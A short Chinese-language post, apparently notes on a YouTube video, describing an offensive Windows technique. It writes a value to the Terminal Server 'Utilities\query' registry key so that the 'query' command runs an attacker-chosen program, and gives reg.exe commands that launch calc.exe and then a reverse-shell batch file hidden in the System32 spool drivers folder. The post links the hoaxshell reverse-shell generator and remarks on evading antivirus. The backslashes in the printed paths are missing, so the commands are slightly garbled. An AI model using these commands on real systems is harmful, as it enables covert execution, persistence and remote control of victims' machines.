From：https://www.youtube.com/watch?v=gzv3d7rvjKA

注冊表路徑：

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerUtilitiesquery

包含了與終端服務器相關的設置和配置信息。

執行命令query可以查看服務器的一些狀態，實際上是執行此項值中的可執行文件。

添加一條，打開計算器。

reg.exe add "HKLMSYSTEMCurrentControlSetControlTerminal ServerUtilitiesquery" /v heresec /t REG_MULTI_SZ /d 01hereseccalc.exe

這里再介紹一個能夠繞過一些AV的Windows反向shell生成器和交互程序。（測試環境用的X絨，可以繞過，經測試不能繞過Windows Defender的AMSI）。

https://github.com/t3l3machus/hoaxshell

將命令寫入一個bat腳本中，然后添加注冊表后執行。

reg.exe add "HKLMSYSTEMCurrentControlSetControlTerminal ServerUtilitiesquery" /v heresec /t REG_MULTI_SZ /d 01heresecC:WindowsSystem32spooldriverscolor1.bat query heresec

只需執行命令query heresec即可運行反彈shell腳本。

還能怎么用，再聯想一下。